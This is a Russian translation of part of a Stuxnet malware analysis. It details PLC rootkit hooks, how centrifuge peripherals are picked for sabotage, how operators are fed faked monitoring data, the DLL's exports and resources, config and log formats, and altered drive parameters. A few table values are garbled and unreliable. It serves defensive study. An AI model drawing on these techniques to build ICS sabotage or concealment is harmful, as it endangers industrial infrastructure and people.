Когда периферийный выходной сигнал записывается, последовательность C перехватывает выходной сигнал и гарантирует, что он не будет записан в выходной сигнал изображения процесса. На выходе инструкции, которые ПЛК посылает устройству для изменения его рабочего поведения. Перехватив периферийный вывод, Stuxnet предотвращает обнаружение оператором несанкционированных команд, отправленных на периферийное устройство.

Каждый каскад из 164 периферийных устройств сгруппирован в 15 кластеров (0 – 14). Каждый кластер подвержен воздействию, но не каждая центрифуга в кластере подвержена воздействию. В следующей таблице показано, сколько периферийных устройств в каждом кластере подвержено воздействию для каждой группы.

Таблица 7

Затронутые периферийные устройства в каждом кластере

Номер Кластера	0	1	2	3	4	5	6	7	8	9	10	11	12	13	14
Периферийные устройства в кластере	2	2	4	6	8	10	12	16	20	24	20	16	12	8	4
Номер Периферийного устройства	0-1	2-3	4-7	8-13	14-21	22-31	32-43	44-59	60-79	80-103	104-123	124-139	140-151	152-159	160-163
Затронутые периферийные устройства	2	2	2	4	6	8	10	13	14	0	14	13	10	8	4

Определенные подверженные воздействию периферийные устройства в кластерах выбираются псевдослучайно. Например, кластер 4 содержит 8 периферийных устройств (периферийные устройства от 14 до 21). Согласно таблице, пострадали 6 из 8. Одно периферийное устройство внутри кластера выбирается псевдослучайно. Допустим, выбрана периферия 20. Затем Stuxnet будет саботировать периферийные устройства 20, 21, 14, 15, 16, и 17. Если при попытке саботировать одно из периферийных устройств возникает ошибка, выбирается следующее. Например, если ошибка возникает при воздействии на периферию 15, то периферия 16, 17, а теперь и 18 будут нацелены.

Всего будет затронуто 110 периферийных устройств из 164.

В то время как это поведение происходит в четырех состояниях, состояние 3 происходит в двух частях, с двухминутным перерывом между ними. Переход из состояния 5 в состояние 6 происходит через 2 минуты 53 секунды.

Состояние 6 - это состояние, в котором происходит запись на изображение/периферийный выход. Это состояние длится 6 минут 58 секунд.

Как это влияет на периферию, неизвестно. Данные записываются на устройство вывода данных изображения/ периферийного устройства, изменяя их поведение, но данные, которые должны быть записаны, находятся в DB8061, который отсутствует.

Состояние 7: Сброс

Семь динамически создаваемых блоков данных (DB8064-DB8070) удаляются, и многие значения данных в блоках данных сбрасываются. Состояние 7 также может быть достигнуто, если возникает какая-либо ошибка или если между двумя циклами OB1 проходит более семи секунд.

Произойдет возврат в состояние 1, что приведет к циклу, состоящему из ожидания приблизительно в 35 дней, за которым последует семиминутная фаза атаки.

Таким образом, хотя реальное предназначение кода S7-417 неизвестно, ключевые моменты вполне возможно говорят о теоретической вторичной стратегии атаки на центрифужные системы в каскаде.

Руткит

Код руткита Stuxnet PLC полностью содержится в подделке s7otbxdx.dll. Для того чтобы достичь цели продолжать существовать незамеченным на ПЛК, он должен учитывать, по крайней мере, следующие ситуации:

Чтение запросов на собственные блоки вредоносного кода.

Запросы на чтение зараженных блоков (OB1, OB35, DP_RECV).

Создание запросов, которые могут перезаписать собственный код Stuxnet.

Stuxnet содержит код для отслеживания и перехвата этих типов запросов. Угроза изменяет эти запросы таким образом, чтобы код ПЛК Stuxnet не был обнаружен или поврежден. В следующем списке приведены некоторые примеры того, как Stuxnet использует подключенный экспорт для обработки этих ситуаций:

s7blk_read

Используется для чтения блока, отслеживается так, что Stuxnet возвращает:

Исходный DP_RECV (хранится как FC1869), если запрашивается DP_RECV.
Ошибка, если запрос касается одного из своих собственных вредоносных блоков.
Чистая версия (очищенная на лету) копия OB1 или OB35, если такой блок запрашивается.

s7blk_write

Используется для записи блока, также контролируется:

Запросы к OB1/OB35 модифицируются таким образом, что новая версия блока заражается еще до его записи.
Запросы на запись DP_RECV также отслеживаются. В первый раз, когда такой запрос будет выдан, блок будет записан
на FC1869 вместо DP_RECV. В следующий раз возникнет ошибка (так как эти системные блоки обычно записываются только один раз).
Также обратите внимание, что внедрение последовательности C происходит через операцию s7blk_write. Точные условия не определены.

s7blk_findfirst и s7blk_findnext

Используется для перечисления блоков ПЛК. Stuxnet будет скрывать свои собственные блоки, пропуская их добровольно во время перечисления. Обратите внимание, что Stuxnet распознает свои собственные блоки, проверяя определенное значение, которое он устанавливает в заголовке блока.

s7blk_delete

Используется для удаления блоков, тщательно контролируется:

Запросы на удаление SDB могут привести к дезинфекции ПЛК.
Запросы на удаление OB также отслеживаются. Похоже, что блоки не обязательно удаляются. Они могут быть заражены. Например, удаление OB80 (используется для обработки асинхронных прерываний ошибок) может привести к записи пустого OB80.

Другие средства экспорта

Одни средства экспорта подключаются для выполнения других функций, включая сбор информации о ПЛК, другие же остаются довольно неясными на момент написания статьи:

s7db_open и s7db_close

Используется для получения информации, используемой для создания дескрипторов управления ПЛК (такой дескриптор используется API, которые управляют ПЛК).

s7ag_read_szl

Используется для запроса информации ПЛК через комбинацию идентификатора и индекса (его можно использовать, например, для получения типа ПЛК.) Экспорт изменяет возвращаемую информацию API, если он вызывается с определенным идентификатором=27, индексом=0.

s7_event

Назначение оригинального API неизвестно. Экспорт может модифицировать блок DB8062 последовательности C.

s7ag_test
s7ag_link_in
s7ag_bub_cycl_read_create
s7ag_bub_read_var 
s7ag_bub_write_var 
s7ag_bub_read_var_seg
s7ag_bub_write_var_seg

Stuxnet записывает предыдущие версии рабочих частот частотных регуляторов. Эти данные воспроизводятся в WinCC через эти подключенные функции во время процедур саботажа. Таким образом, вместо того, чтобы системы мониторинга получали данные об аномальных рабочих частотах, системы мониторинга полагают, что преобразователи частоты работают в нормальном режиме.

Более того, OB35 заражен, как описано ранее. Когда происходит процедура саботажа, OB35 предотвращает выполнение исходного кода OB35. Предполагая, что исходный код OB35 инициирует плавное выключение во время критических ситуаций, даже если операторы понимают, что система работает ненормально, они не смогут безопасно выключить систему.

Стоит отметить, что OB35 использует значение автоматического указателя 0xDEADF007 (возможно, для обозначения Dead Fool или Dead Foot – термин, используемый при отказе двигателя самолета), чтобы указать, когда процедура достигла своего конечного состояния.

Экспорт полезной информации

Экспорт 1

Запускает процедуру заражения съемного диска, как описано в разделе распространение съемного диска. Также запускается сервер RPC, описанный в разделе одноранговая связь.

Экспорт 2

Подключает API, как описано в разделе заражения файлов проекта Step 7.

Экспорт 4

Инициализация для экспорта 18, который удаляет вирус из системы.

Экспорт 5

Проверяет, если MrxCls.sys установлен. Цель MrxCls.sys это описано в разделе Точка нагрузки.

Экспорт 6

Экспорт 6-это функция, возвращающая номер версии угрозы, считанной из блока данных конфигурации. Информация о версии хранится в блоке конфигурационных данных со смещением 10h.

Экспорт 7

Экспорт 7 просто переходит к экспорту 6.

Экспорт 9

Запускает, возможно, новые версии Stuxnet из зараженных проектов Step 7, как описано в разделе заражение файлов проектов Step 7.

Экспорт 10

Экспорт 14

Основная функция оболочки для заражения файлов проекта step 7, как описано в разделе заражения файлов проекта шага 7.

Экспорт 15

Начальная точка входа описана в разделе Установка.

Экспорт 16

Основная процедура установки описана в разделе Установка.

Экспорт 17

Заменяет библиотеку DLL шага 7 для заражения ПЛК, как описано в разделе саботаж ПЛК.

Экспорт 18

Удаляет вирус из системы, удалив следующие файлы:

1.Вредоносные файлы Step 7 DLL

2.Файлы драйвера MrxCls.sys и MrxNet.sys

3.oem7A.PNF

4.mdmeric3.pnf

5.mdmcpq3.pnf (файл конфигурации "Stuxnet")

Экспорт 19

Процедура заражения съемного диска описана в разделе Распространение съемных дисков.

Экспорт 22

Содержит все процедуры распространения сети, описанные в разделе процедуры распространения сети.

Экспорт 24

Проверяет, подключена ли система к интернету. Выполняет DNS-запрос к двум не опасным доменам в данных конфигурации (по умолчанию windowsupdate.com и msn.com) и обновляет данные конфигурации со статусом.

Экспорт 27

Содержит часть кода для сервера RPC, описанного в разделе Одноранговая связь

Экспорт 28

Содержит функции сервера команд и управления, описанные в разделе Командование и управление.

Экспорт 29

Содержит функции сервера команд и управления, описанные в разделе Командование и управление.

Экспорт 31

Запускает, возможно, новые версии Stuxnet из зараженных проектов Step 7, как описано в разделе Заражение файлов проектов Step 7.

Экспорт 32

То же самое, что и экспорт 1, за исключением того, что он не проверяет наличие сигнала события перед вызовом процедур распространения съемного диска и кода сервера RPC. Этот экспорт описан в разделе Распространение съемных дисков.

Полезные ресурсы

Вышеприведенный экспорт должен загружать другие файлы/шаблоны/данные для выполнения своих задач. Все эти файлы хранятся в разделе ресурсов главной страницы.dll-файл. Функция каждого ресурса подробно обсуждается здесь.

Ресурс 201

Драйвера для Windows руткит mrxnet.sys подписанного скомпрометированной подписью Realtek как описано в разделе Функциональные возможности руткит для Windows.

Ресурс 202

Библиотека DLL, используемая при заражении проекта Step 7, как описано в разделе Заражение файлов проекта Step 7.

Ресурс 203

CAB-файл содержит DLL, очень похожую на ресурс 202, которая добавляется в каталоги проектов WinCC (как описано в разделе заражение файлов проектов Step 7), а затем загружается и выполняется с помощью операторов SQL, как описано в разделе Заражение машин на WinCC.

Ресурс 205

Закодированный конфигурационный файл для драйвера точки загрузки (MrxCls.sys), который добавляется в реестр. Файл указывает, какой процесс должен быть введен и с чем, что описано в разделе Точка загрузки.

Ресурс 207

Stuxnet дополненный информацией из autorun.inf. Только в предыдущих вариантах Stuxnet.

Ресурс 208

Подменный DLL Step 7, используемой при заражении ПЛК, как описано в разделе Cаботаж ПЛК.

Ресурс 209

Файл данных длиной 25 байт, созданный в %Windir%helpwinmic.fts

Ресурс 210

Шаблон PE-файла используется многими экспортерами при создании или внедрении исполняемых файлов.

Ресурс 221

Этот файл ресурсов содержит код для использования уязвимости службы Microsoft Windows Server-MS08-067, как описано в разделе уязвимость службы Windows Server MS08-067.

Ресурс 222

Этот файл ресурсов содержит код для использования уязвимости диспетчера очереди печати Microsoft Windows-MS10-067, как описано в разделе уязвимость нулевого дня диспетчера очереди печати MS10-061.

Ресурс 231

Проверяет, подключена ли система к интернету. Этот ресурс есть только в предыдущих вариантах Stuxnet.

Ресурс 240

Используется для создания уникальных файлов .lnk в зависимости от вставленных дисков, как описано в разделе Распространение съемных дисков.

Ресурс 241

Файл WTR4141.tmp, подписанный Realtek и описанный в разделе распространение съемных дисков.

Ресурс 242

Mrxnet.sys файл руткита, подписанный Realtek.

Ресурс 250

Код уязвимости нулевого дня, который приводит к эскалации привилегий из-за уязвимости в win32k.sys. Подробности описаны в окнах Win32k.sys раздел Уязвимость локальной эскалации привилегий (MS10-073).

Разновидности

Из 3280 собранных образцов были идентифицированы три различных разновидности. У них есть время компиляции:

Пн 22 Июня 2009 16: 31:47

Пн 01 Марта 2010 05:52:35

Ср 14 Апреля 2010 10:56:22 2010

Четвертая разновидность, скорее всего, существует в виде файла драйвера, подписанного найденным цифровым сертификатом JMicron, но разновидность, отбрасывающий этот драйвер, еще не восстановлен.

Этот документ в первую очередь концентрируется на разновидности марта 2010 года. Апрельский вариант 2010 года лишь очень незначительно отличается от мартовского варианта 2010 года. (Например, увеличение даты прекращения распространения USB.) Однако июнь 2009 года имеет существенные отличия от образцов марта и апреля 2010 года. Время компиляции отображается в зависимости от времени заражения, наблюдаемого для каждого образца. Номер версии, содержащийся в двоичном файле, также соответствует этой хронологии.

Таблица 8

Сравнение ресурсов

Март 2010		Июнь 2009
Номер ресурса	Размер	Номер ресурса	Размер
201	26,616	201	19,480
202	14,848	202	14,336
203	5,237
205	433	205	323
		207	520,192
208	298,000	208	298,000
209	25	209	25
210	9,728	201	9,728
221	145,920	221	145,920
222	102,400	222	102,400
		231	10,752
240	4,171
241	25,720
242	17,400
250	40,960

Как описано в разделе Архитектура Stuxnet, Stuxnet разделяет свои функциональные возможности с помощью встроенных ресурсов. Более новые варианты имеют больше ресурсов, но меньше по размеру. Ниже приведены ресурсы для обоих типов, показанные рядом.

Ресурсы, выделенные зеленым цветом, были добавлены в последней версии, ресурсы, выделенные красным цветом, были удалены из старой версии, а остальные ресурсы являются постоянными как для старых, так и для новых образцов.

Причина разницы в размере заключается в том, что идентификатор ресурса 207 отсутствует в более новых версиях. Ресурс 207 составляет 520 КБ, поэтому, хотя в более новых версиях Stuxnet было добавлено больше ресурсов, общая сумма новых размеров ресурсов составляет менее 520 КБ.

Разница в функциональности между июньским вариантом 2009 года и мартовским и апрельским вариантами 2010 года суммируется ниже.

Многие компоненты на самом деле идентичны или близки к идентичности, имеют одинаковую функциональность с небольшими различиями в коде.

Таблица 12

Описание компонентов

	Компонент	Июнь 2009		Март 2010
201	Mrxcls.sys файл руткита	Не подписан		Подписан
202	Ложный DLL Siemens	Одинаковая версия, но перекомпилированная
203	DLL внутри файла .cab		Новый
205	Файл данных
207	Большой компонент		Перемещен в 250
208	Упаковщик для s7otbldx.dll	Почти идентичны
209	Файл данных	Идентичны
210	Loader. dll обращается к полезным ресурсам	Почти идентичны
221	Сетевой Проводник	Идентичны
222	Сетевой Проводник	Идентичны
231	Internet Connect .dll		Перемещен в основной модуль
240	Шаблон Файла Ссылки		Новый
241	Шаблон USB-загрузчика		Новый
242	Файл руткита Mrxnet.		Новый
250	Перехватчик клавиатуры и дроппер		Новый
Красный – ресурсы удалены, Зеленый – ресурсы добавлены

Ресурсы 240, 241 и 242 представляют собой наиболее значительные дополнения в период с июня 2009 года по март 2010 года. Эти ресурсы используют уязвимость автоматического выполнения файлов Microsoft Windows Shortcut ‘LNK’ (BID 41732) и внедряют руткит Windows для скрытия файлов на USB-накопителях.

Вариант июня 2009 года также содержал код, который был удален в вариантах марта 2010 года. В частности, июньские версии 2009 года поддерживали Windows 9x, а также использовали autorun.inf для распространения на съёмных дисках вместо эксплойта LNK.

Ресурсы 207 и 231 были удалены из более новой версии Stuxnet. Ресурс 231 использовался для связи с управляющими серверами и имеет имена серверов C&C, хранящиеся в виде обычного текста в файле. Новая версия Stuxnet переместила функциональность подключения к интернету внутрь основного файла payload .dll, URL-адреса из внутреннего ресурса 231 в компонент установщика, а URL-адреса стали сильно запутаны. Это дает злоумышленнику явное преимущество обновления конфигурации каждого образца без необходимости перестраивать весь пакет с новым ресурсом внутри.

Ресурс 207 также был удален, но по крайней мере часть его функциональности была сохранена. Ресурс 250 содержит код, который ранее находился внутри ресурса 207, хотя, как вы можете видеть из размеров, ресурс 250 намного меньше, поэтому некоторые функции ресурса 207 были удалены.

Из более чем 3000 извлеченных образцов почти все являются вариантами 2010 года. Очень небольшой процент образцов - это вариант 2009 года. Вариант 2009 года, возможно, распространялся медленнее и заражал гораздо меньше компьютеров, или позднее открытие могло означать, что вирусы были либо заменены более новыми версиями, либо устранены.

Рисунок 31

Варианты Stuxnet

Резюме

Stuxnet представляет собой первую из многих вех в истории вредоносного кода – он первым использует четыре уязвимости нулевого дня, компрометирует два цифровых сертификата, вводит код в промышленные системы управления и скрывает код от оператора. Будет ли Stuxnet инициировать новое поколение атак вредоносного кода на инфраструктуру реального мира—затмевая подавляющее большинство текущих атак, затрагивающих больше виртуальных или индивидуальных активов, - или это будет происходить раз в десятилетие, еще предстоит выяснить.

Stuxnet настолько сложен, требуя значительных ресурсов для разработки, что немногие злоумышленники будут способны создать подобную угрозу, так что, мы не ожидали бы, что внезапно появятся массы угроз аналогичной сложности. Однако Stuxnet подчеркнул, что попытки прямой атаки на критически важную инфраструктуру возможны не только в теории или сюжетах фильмов.

Реальные последствия Stuxnet выходят за рамки любой угрозы, которую мы видели в прошлом. Несмотря на сложность обратного инжиниринга Stuxnet и понимания его назначения, Stuxnet — это та угроза, которую мы надеемся никогда больше не увидеть.

Приложение А

Таблица 13

Данные конфигурации

Смещение	Тип	Описание
+ 0	Dword	Magic
+4	Dword	Размер заголовка
+8	Dword	Значение проверки
+C	Dword	Размер блока
+10	Dword	Порядковый номер
+20	Dword	Информация о производительности
+24	Dword	Указатель на глобальные конфигурационные данные
+30	Dword	Миллисекунды ожидания
+34	Dword	Флаг
+40	Dword	Указатель на глобальные конфигурационные данные
+44	Dword	Указатель на глобальные конфигурационные данные
+48	Dword	Указатель на глобальные конфигурационные данные
+58	Dword	Размер буфера
+5c	Dword	Размер буфера
+60	Dword	Размер буфера
+64	Dword	Размер буфера
+68	Dword	Флаг
+6c	Dword	Флаг, если 0, проверьте +70 (если 1, заразите USB без проверки метки времени)
+70	Dword	Флаг, после проверки +6C, если 0, проверьте + 78 date
+78	Dword	lowdatetime (отметка времени перед заражением USB)
+7C	Dword	highdatetime
+80	Dword	количество файлов, которые должны быть на USB-ключе (по умолчанию 3)
+88	Dword	Должно быть ниже 80 часов
+84	Dword	Количество необходимых байт на диске - 5 Мб
+8c	Qword	Крайний срок установки (24 июня 2012 г.)
+98	Dword	Флаг
+9c	Dword	Флаг
+A4	Qword	Отметка времени (начало заражения - например, через 21 день после этого заражение USB прекратится)
+AC	Dword	Миллисекунды сна
+ b0	Dword	Флаг
+ B4	Qword	Отметка времени
+c4	Dword	Отметка времени
+c8	Dword	Флаг (если 0, заразить USB-накопитель, в противном случае не заразить USB-накопитель)
+ CC	Char[80h]	Хороший домен 1 - windowsupdate.com
+14c	Char[80h]	Хороший домен 2 - msn.com
+lcc	Char[80h]	Сервер C&C 1
+24c	Char[80h]	URL-адрес для сервера C&C 1 - index.php
+2cc	Char[80h]	Сервер C&C 2
+34c	Char[80h]	URL-адрес для сервера C&C 2 - index.php

Таблица 13

Данные конфигурации

Смещение	Тип	Описание
+3cc	Dword	Флаг
+3ec	Dword	Время ожидания в миллисекундах
+3W	Dword	Флаг-проверка подключения
+3f4	Dword	FlighDateTime
+3f8	Dword	LowDateTime
+3d4	Dword	TickCount (часов)
+414	Dword	TickCount миллисекунд
+418	Char[80h]	Путь проекта Step7
+498	Dword	указатель на глобальную конфигурацию
+49c	Dword	указатель на глобальную конфигурацию
+4a0	Dword	Счетчик
+59c	Dword	Флаг - 0
+5a0	Dword	TickCount Check
+5AC	Dword	TickCount Check
+5b4	PropagationData	блок 2
+5f0	PropagationData	блок 5
+62c	PropagationData	блок 4
+668	PropagationData	блок 3
+6A4	Dword	Флаг для управления тем, должны ли выполняться задания WMI
+6A8	Dword	Флаг для управления тем, будут ли запланированные задания должны выполняться
+6AC	Dword	Флаг контролирующий обновления
+6B4	Dword	Флаг, отключить
+6b8	PropagationData	Блок 1

Таблица 14

Формат блока распространения данных

Смещение	Тип	Описание
+ 00	Qword	Метка времени максимальное время
+ 08	Qword	Метка времени AV definitions max timestamp
+10	Qword	Метка времени Kernel DLLs max timestamp
+18	Qword	Метка времени вторичное время
+20	Dword	Количество дней
+24	Dword	Проверка флага вторичное время
+28	Dword	Проверка флага время
+2C	Dword	Проверка флага AV definitions time
+30	Dword	Проверка флага Kernel DLLs max timestamp
+34	Dword
+38	Dword

Приложение Б

Файл журнала oem6c. pnf

Этот файл создается в папке %windir%INF вoem6c.pnf.

Он зашифрован и используется для регистрации информации о различных действиях, выполняемых Stuxnet. Этот файл данных, по-видимому, имеет фиксированный размер 323 848 байт. Однако размер полезной нагрузки изначально пуст.

Помимо хранения путей записанных или зараженных файлов проекта Step7, хранятся и другие записи информации. Каждая запись имеет идентификатор, метку времени и (в конечном счете) данные.

Вот список записей, которые могут быть сохранены в oem6c. pnf:

Связь

2DA6h, 1-нет данных. Хранится перед выполнением экспорта 28.
2DA6h, 2-нет данных. Хранится только в том случае, если экспорт 28 выполнен успешно.
2DA6h, 3-отправлен ли начальный сетевой пакет (на HTTP-сервер).

S7P/MCP

246Eh, 1-неизвестно. Относится к XUTILSlistenXR000000. MDX. 246Eh, 2-неизвестно. Относится к GracScc_alg.sav.
246Eh, 3-Filepath S7P.
246Eh, 4-Filepath S7P.
246Eh, 4-Filepath MCP.
246Eh, 5-Filepath MCP.
246Eh, 6-записанный путь проекта Step7.

Сеть

F409h, 1-имена серверов, собранные из перечисления сети. F409h, 2-неизвестно, индекс.
F409h, 3-нет данных. Связано с эксплойтом (неудача/успех?).

Инфекция

7A2Bh, 2-нет данных. Заражение последнего съемного устройства успешно.
7A2Bh, 5-нет данных. Заражение последнего съемного устройства не удалось.
7A2Bh, 6-нет данных. Оба файла wtr4141/wtr4132 существуют на диске для заражения.
7A2Bh, 7-нет данных. Неизвестный, созданный по ошибке.
7A2Bh, 8-нет данных. Создается, если на диске недостаточно места для заражения (менее 5 Мб).

Руткиты

F604h, 5-нет данных. Только в том случае, если Stuxnet и руткиты были удалены и установлены правильно (Успешная установка).

Приложение С

Ниже приведены параметры, измененные на частотных приводах, и их значения. Приведены описания значений, однако многие из этих описаний-особенно для параметров свыше 1000-могут быть неточными (некоторые явно неточны). Эти описания получены из нескольких источников, и, в конечном счете, пользовательские приложения могут быть использованы на частотных приводах, которые используют и определяют свое собственное назначение для этих значений.

Table 15 Parameters and values for Vacon drive
Parameter	Value	Possible Description
Frames 1.:
813	2	?
819	0
1086	1	Отключение стоп-блокировки - позволяет регулировать параметры во время состояния RUN (универсальный)
114	0	кнопка стоп
301	0	Функции по din3
313	0	Функция ROl
314	0	Функция R02
315	0	Контроль предела выходной частоты 1
346	0	Контроль предела выходной частоты 2
348	0	Функция контроля предела крутящего момента
350	0	Функция контроля опорного предела
354	0	Контроль допустимой температуры частотного преобразователя
356	0	аналоговый контрольный сигнал
700	0	Реакция на опорную неисправность 4 мА
701	0	Реакция на внешнюю неисправность
702	0	Контроль выходной фазы
703	0	Защита от замыкания на землю
704	0	Тепловая защита двигателя
709	0	Защита от опрокидывания
713	0	Защита от недогрузки
727	1	Реакция на неисправность пониженного напряжения
730	0	Контроль входной фазы
732	0	Реакция на неисправность термистора
733	0	Реакция на неисправность полевой шины
734	0	Реакция на неисправность слота
740	0	Реакция на неисправность PT100
1316	0	Действия при неисправности тормоза (allinone)
1082	0	Реакция на неисправность связи SystemBus (allinone)
752	0	Функция защиты при ошибки скорости
1353	0	Режим неисправности энкодера (расширенный)
303	0	минимальное значение эталонного масштабирования
304	0	максимальное значение эталонного масштабирования
30^^^^^	0	инверсия эталона

Parameter	Value	Possible Description
434	0	Ошибка
436	0	Активное предупреждение о неисправности опорная неисправность/предупреждение
438	0	эталонная неисправность / предупреждение
439	0	предупреждение о перегреве
441	0	Незапрошенное направление
444	0	Внешнее место управления
445	0	Внешнее управление тормозом
447	0	Контроль ограничения выходной частоты 1
448	0	Контроль ограничения выходной частоты 2
449	0	Контроль контрольных лимитов
450	0	Контроль предела температуры
451	0	Контроль ограничения крутящего момента
452	0	Неисправность или предупреждение о неисправности термистора
463	0	Предел контроля аналогового входа
485	0	Масштабирование ограничения крутящего момента двигателя
464	0	Выбор сигнала аналогового выхода 1
307	0	функция аналогового выхода
471	0	Выбор сигнала аналогового выхода 2
472	0	Функция аналогового выхода 2
478	0	Аналоговый выход 3 / выбор сигнала
479	0	Аналоговый выход 3 / функция
312	0	цифровой выход 1 функция
486	0	Выбор сигнала цифрового выхода 1
490	0	Функция цифрового выхода 2
489	0	Выбор сигнала цифрового выхода 2
307	0	функция аналогового выхода
472	0	Функция аналогового выхода 2
479	0	Аналоговый выход 3 / функция
464	0	Выбор сигнала аналогового выхода 1
471	0	Выбор сигнала аналогового выхода 2
478	0	Аналоговый выход 3 / выбор сигнала
484	0	Смещение аналогового выхода 3
312	0	Функция цифрового выхода 1
490	0	Функция цифрового выхода 2
486	0	Выбор сигнала цифрового выхода 1
489	0	Выбор сигнала цифрового выхода 2
414	0	сброс ошибки
415	0	acc / dec запрещено
416	0	DC-торможение
750	1	Монитор охлаждения
		Аварийная остановка (allinone)
1420	l	Предотвращение запуска (allinone)
399	0	масштабирование лимита тока
400	0	Масштабирование отключения постоянного тока
401	0	масштабирование acc / dectime
405	0	внешняя неисправность закрыть
406	1	внешняя неисправность открыть
407	1	включить запуск
411	1	управление с полевой шины
409	0	управление с терминала ввода-вывода
410	0	управление с клавиатуры
107	44	ограничение тока
107	440	ограничение тока
509	0	Запрет частотной области 1 / нижний предел
510	0	Запрет частотной области 1 / верхний предел
511	0	Запрет частотной области 2 / нижний предел
512	0	Запрет частотной области 2 / верхний предел
513	0	Запрет частотной области 3 / нижний предел
514	0	Запрет частотной области 3 / верхний предел
104	19990	время замедления 1?
503	19990	время замедления 2?
1541	19990	Selma Fault Word 1 - ?
1542	19990	Selma Fault Word 2 - ?
508	0	Время торможения постоянным током при остановке
516	0	Время торможения постоянным током при пуске
506	1	функция остановки
505	0	функция запуска
1500	1	Ограничение тока (мультимотор) или функция DIN5 (liftapp)
103	4000	время разгона 1
502	4000	время разгона 2
1531	1	Мин. Частота (высокоскоростной мультимотор)
125	3	место управления

Таблица 16

Параметры и значения для привода Fararo Paya

	\| Параметр			Значение	Возможное описание \|
	\| Frames 1.1
	117			49
	118			899
	119			101
	120			119
	116			8000
	116			12000
	116			8000
	116			16000
	122			2
	174			301
	168			1
	170			201
	113			2
	114			850
	142			14000	Частота ?
	111			1
	112			61990
	123			0
	107			399
	106			950
	104			10500	Частота ?
	101			10500	Частота ?
	104			14001
	111			10000
	101			14000	Частота ?
	103			10490
	102			10480
	166			1
	173			1
	169			1
	112			30000
	0			0
	16^^^^^^
	1°			0	1
\|Framesl.2
123		0
112		1
102		10
103		500
101		10000			Частота ?
104		10640			Частота ?
107		400
105		33
106		100
117		20
118		650
119		400
120		100
174		450
168		4
170		400
113		1
114		750
112		10
111		10
142		10640			Частота ?
169		1
173		1
I Frames 2.1
117		49
118		899
119		101
120		119
116		8000
116		12000
116		8000
116		16000
122		2
166		1
174		301
168		1
170		201
113
114		850
102		1
108		1
109		1
105		280
106		281
103		400
112		1
111		30000
123		0
142		2
107		380
101		2
104		500			Частота ?
169		1
173		1
0		0
169		1
\|Frames2.2
123			0
111			1
104			10640		Частота ?
103			500
101			10000
102			10
107			400
105			33
106			100
166			1
117			20
118			650
119			400
120			100
122			2
174			450
168			4
170			400
113			1
114			750
108			^50^^
109				1200
112				10
111				10
142				10640	Частота ?
169				1
173

[1] https://community.broadcom.com/home

[2] В порядке убывания: Иран, Индонезия, Индия, США, Азербайджан, Великобритания, Малайзия, Пакистан, Узбекистан, Саудовская Аравия, Бразилия, Сирия, Россия, Куба, Чили, Республика Корея, ОАЭ, Афганистан, ЮАР, Доминиканская Республика, Киргизия, Туркменистан, Армения, Италия, Украина и другие

[3] Иран, Индонезия, Индия, Азербайджан, Пакистан, Малайзия, США, Узбекистан, Россия, Великобритания, другие

[4] Сверху вниз: другие, Беларусь, США, Малайзия, Узбекистан, Россия, Пакистан, Азербайджан, Индия, Индонезия, Иран

[5] Сверху вниз: июнь 2009 г., март 2010 г., апрель 2010 г.

Читайте другие материалы журнала «Международная жизнь» на нашем канале Яндекс.Дзен.

Подписывайтесь на наш Telegram – канал: https://t.me/interaffairs